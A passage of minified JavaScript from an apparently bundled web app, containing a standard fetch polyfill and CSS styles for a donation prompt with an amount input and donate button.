");t.append(decodeURIComponent(o),decodeURIComponent(r))}}),t}function se(e,t){t||(t={}),this.type="default",this.status=void 0===t.status?200:t.status,this.ok=this.status>=200&&this.status<300,this.statusText="statusText"in t?t.statusText:"OK",this.headers=new Q(t.headers),this.url=t.url||"",this._initBody(e)}ae.prototype.clone=function(){return new ae(this,{body:this._bodyInit})},oe.call(ae.prototype),oe.call(se.prototype),se.prototype.clone=function(){return new se(this._bodyInit,{status:this.status,statusText:this.statusText,headers:new Q(this.headers),url:this.url})},se.error=function(){var e=new se(null,{status:0,statusText:""});return e.type="error",e};var ce=[301,302,303,307,308];se.redirect=function(e,t){if(-1===ce.indexOf(t))throw new RangeError("Invalid status code");return new se(null,{status:t,headers:{location:e}})};var le=self.DOMException;try{new le}catch(e){(le=function(e,t){this.message=e,this.name=t;var n=Error(e);this.stack=n.stack}).prototype=Object.create(Error.prototype),le.prototype.constructor=le}function ue(e,t){return new Promise(function(n,o){var r=new ae(e,t);if(r.signal&&r.signal.aborted)return o(new le("Aborted","AbortError"));var a=new XMLHttpRequest;function i(){a.abort()}a.onload=function(){var e,t,o={status:a.status,statusText:a.statusText,headers:(e=a.getAllResponseHeaders()||"",t=new Q,e.replace(/\r?\n[\t ]+/g," ").split(/\r?\n/).forEach(function(e){var n=e.split(":"),o=n.shift().trim();if(o){var r=n.join(":").trim();t.append(o,r)}}),t)};o.url="responseURL"in a?a.responseURL:o.headers.get("X-Request-URL");var r="response"in a?a.response:a.responseText;n(new se(r,o))},a.onerror=function(){o(new TypeError("Network request failed"))},a.ontimeout=function(){o(new TypeError("Network request failed"))},a.onabort=function(){o(new le("Aborted","AbortError"))},a.open(r.method,r.url,!0),"include"===r.credentials?a.withCredentials=!0:"omit"===r.credentials&&(a.withCredentials=!1),"responseType"in a&&G.blob&&(a.responseType="blob"),r.headers.forEach(function(e,t){a.setRequestHeader(t,e)}),r.signal&&(r.signal.addEventListener("abort",i),a.onreadystatechange=function(){4===a.readyState&&r.signal.removeEventListener("abort",i)}),a.send(void 0===r._bodyInit?null:r._bodyInit)})}function de(e){return(de="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e})(e)}function pe(){var e=ge(["\n .container {\n text-align: center;\n margin-top: 2rem;\n }\n\n .error {\n font-weight: 600;\n color: #b00b00;\n }\n\n .amount-box {\n background-color: #fff;\n padding: 5px 0.625em;\n border-radius: 5px;\n }\n\n .amount-box input {\n width: 100px;\n text-align: center;\n border: none;\n border-bottom: 1px solid gray;\n font-weight: bold;\n font-size: 34px;\n }\n\n .amount-box span {\n font-size: 18px;\n font-weight: bold;\n }\n\n .amount-box h1 {\n font-size: 18px;\n font-weight: bold;\n text-align: center;\n line-height: 1.2em;\n margin: 0;\n padding: 0.5rem 0 0 0;\n }\n\n .btn-yes-donor {\n font-size: 24px;\n display: block;\n width: 100%;\n padding: 0.625em;\n margin-top: 1em;\n background-color: #6D94C9;\n color: #fff;\n border-radius: 5px;\n border: 0;\n font-weight: bold;\n line-height: normal;\n margin-bottom: 0.625em;\n outline: none;\n cursor: pointer;\n }\n\n .btn-yes-donor:active {\n background-color: #344D6F;\n }\n\n .btn-yes-donor:disabled {\n cursor: progress;\n background-color: gray;\n border: 2px solid gray;\n }\n\n .later {\n color: #c23e3e;\n text-decoration: none;\n cursor: pointer;\n font-size: 14px;\n }\n "]);return pe=function(){return e},e}function fe(){var e=ge(['\n